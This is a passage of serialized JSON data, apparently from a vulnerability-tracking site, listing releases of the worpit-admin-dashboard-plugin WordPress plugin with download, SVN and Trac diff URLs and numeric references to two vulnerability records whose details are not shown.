plugin\u002Ftags\u002F2.10.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.5.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.10.1",[931,932],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":934,"download_url":935,"svn_tag_url":936,"released_at":39,"has_diff":129,"diff_files_changed":937,"diff_lines":39,"trac_diff_url":938,"vulnerabilities":939,"is_current":129},"2.9.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.5&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.5.2",[940,941],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":943,"download_url":944,"svn_tag_url":945,"released_at":39,"has_diff":129,"diff_files_changed":946,"diff_lines":39,"trac_diff_url":947,"vulnerabilities":948,"is_current":129},"2.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.5",[949,950],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":952,"download_url":953,"svn_tag_url":954,"released_at":39,"has_diff":129,"diff_files_changed":955,"diff_lines":39,"trac_diff_url":956,"vulnerabilities":957,"is_current":129},"2.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.3.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.4",[958,959],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":961,"download_url":962,"svn_tag_url":963,"released_at":39,"has_diff":129,"diff_files_changed":964,"diff_lines":39,"trac_diff_url":965,"vulnerabilities":966,"is_current":129},"2.9.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.3.3",[967,968],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":970,"download_url":971,"svn_tag_url":972,"released_at":39,"has_diff":129,"diff_files_changed":973,"diff_lines":39,"trac_diff_url":974,"vulnerabilities":975,"is_current":129},"2.9.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.2.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.3",[976,977],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":979,"download_url":980,"svn_tag_url":981,"released_at":39,"has_diff":129,"diff_files_changed":982,"diff_lines":39,"trac_diff_url":983,"vulnerabilities":984,"is_current":129},"2.9.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.2.3",[985,986],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":988,"download_url":989,"svn_tag_url":990,"released_at":39,"has_diff":129,"diff_files_changed":991,"diff_lines":39,"trac_diff_url":992,"vulnerabilities":993,"is_current":129},"2.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.2",[994,995],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":997,"download_url":998,"svn_tag_url":999,"released_at":39,"has_diff":129,"diff_files_changed":1000,"diff_lines":39,"trac_diff_url":1001,"vulnerabilities":1002,"is_current":129},"2.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.9.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.9.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.8.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.9.1",[1003,1004],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1006,"download_url":1007,"svn_tag_url":1008,"released_at":39,"has_diff":129,"diff_files_changed":1009,"diff_lines":39,"trac_diff_url":1010,"vulnerabilities":1011,"is_current":129},"2.8.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.8.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.8.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.7.13&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.8.4",[1012,1013],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1015,"download_url":1016,"svn_tag_url":1017,"released_at":39,"has_diff":129,"diff_files_changed":1018,"diff_lines":39,"trac_diff_url":1019,"vulnerabilities":1020,"is_current":129},"2.7.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.7.13.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.7.13\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.6.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.7.13",[1021,1022],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1024,"download_url":1025,"svn_tag_url":1026,"released_at":39,"has_diff":129,"diff_files_changed":1027,"diff_lines":39,"trac_diff_url":1028,"vulnerabilities":1029,"is_current":129},"2.6.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.6.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.6.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.5.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.6.3",[1030,1031],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1033,"download_url":1034,"svn_tag_url":1035,"released_at":39,"has_diff":129,"diff_files_changed":1036,"diff_lines":39,"trac_diff_url":1037,"vulnerabilities":1038,"is_current":129},"2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.5.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.5.2",[1039,1040],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1042,"download_url":1043,"svn_tag_url":1044,"released_at":39,"has_diff":129,"diff_files_changed":1045,"diff_lines":39,"trac_diff_url":1046,"vulnerabilities":1047,"is_current":129},"2.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.5.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.5.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.4.4&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.5.0",[1048,1049],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1051,"download_url":1052,"svn_tag_url":1053,"released_at":39,"has_diff":129,"diff_files_changed":1054,"diff_lines":39,"trac_diff_url":1055,"vulnerabilities":1056,"is_current":129},"2.4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.4.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.4.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.3.10&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.4.4",[1057,1058],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1060,"download_url":1061,"svn_tag_url":1062,"released_at":39,"has_diff":129,"diff_files_changed":1063,"diff_lines":39,"trac_diff_url":1064,"vulnerabilities":1065,"is_current":129},"2.3.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.3.10.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.3.10\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.3.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.3.10",[1066,1067],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1069,"download_url":1070,"svn_tag_url":1071,"released_at":39,"has_diff":129,"diff_files_changed":1072,"diff_lines":39,"trac_diff_url":1073,"vulnerabilities":1074,"is_current":129},"2.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.3.1",[1075,1076],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1078,"download_url":1079,"svn_tag_url":1080,"released_at":39,"has_diff":129,"diff_files_changed":1081,"diff_lines":39,"trac_diff_url":1082,"vulnerabilities":1083,"is_current":129},"2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.2&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.3",[1084,1085],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1087,"download_url":1088,"svn_tag_url":1089,"released_at":39,"has_diff":129,"diff_files_changed":1090,"diff_lines":39,"trac_diff_url":1091,"vulnerabilities":1092,"is_current":129},"2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.2",[1093,1094],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1096,"download_url":1097,"svn_tag_url":1098,"released_at":39,"has_diff":129,"diff_files_changed":1099,"diff_lines":39,"trac_diff_url":1100,"vulnerabilities":1101,"is_current":129},"2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.1",[1102,1103],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1105,"download_url":1106,"svn_tag_url":1107,"released_at":39,"has_diff":129,"diff_files_changed":1108,"diff_lines":39,"trac_diff_url":1109,"vulnerabilities":1110,"is_current":129},"2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.2.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F2.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.3.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F2.0",[1111,1112],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1114,"download_url":1115,"svn_tag_url":1116,"released_at":39,"has_diff":129,"diff_files_changed":1117,"diff_lines":39,"trac_diff_url":1118,"vulnerabilities":1119,"is_current":129},"1.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.1.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F1.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.2.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.3.1",[1120,1121],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1123,"download_url":1124,"svn_tag_url":1125,"released_at":39,"has_diff":129,"diff_files_changed":1126,"diff_lines":39,"trac_diff_url":1127,"vulnerabilities":1128,"is_current":129},"1.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.1.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F1.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.1.3&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.2.3",[1129,1130],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1132,"download_url":1133,"svn_tag_url":1134,"released_at":39,"has_diff":129,"diff_files_changed":1135,"diff_lines":39,"trac_diff_url":1136,"vulnerabilities":1137,"is_current":129},"1.1.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.1.1.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F1.1.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.0.15&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.1.3",[1138,1139],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1141,"download_url":1142,"svn_tag_url":1143,"released_at":39,"has_diff":129,"diff_files_changed":1144,"diff_lines":39,"trac_diff_url":1145,"vulnerabilities":1146,"is_current":129},"1.0.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.1.0.15.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F1.0.15\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.0.1&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.0.15",[1147,1148],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1150,"download_url":1151,"svn_tag_url":1152,"released_at":39,"has_diff":129,"diff_files_changed":1153,"diff_lines":39,"trac_diff_url":1154,"vulnerabilities":1155,"is_current":129},"1.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.1.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F1.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.0&new_path=%2Fworpit-admin-dashboard-plugin%2Ftags%2F1.0.1",[1156,1157],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122},{"version":1159,"download_url":1160,"svn_tag_url":1161,"released_at":39,"has_diff":129,"diff_files_changed":1162,"diff_lines":39,"trac_diff_url":39,"vulnerabilities":1163,"is_current":129},"1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fworpit-admin-dashboard-plugin.1.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fworpit-admin-dashboard-plugin\u002Ftags\u002F1.0\u002F",[],[1164,1165],{"id":35,"url_slug":36,"title":37,"severity":41,"cvss_score":42,"vuln_type":44,"patched_in_version":6},{"id":117,"url_slug":118,"title":119,"severity":41,"cvss_score":42,"vuln_type":123,"patched_in_version":122}]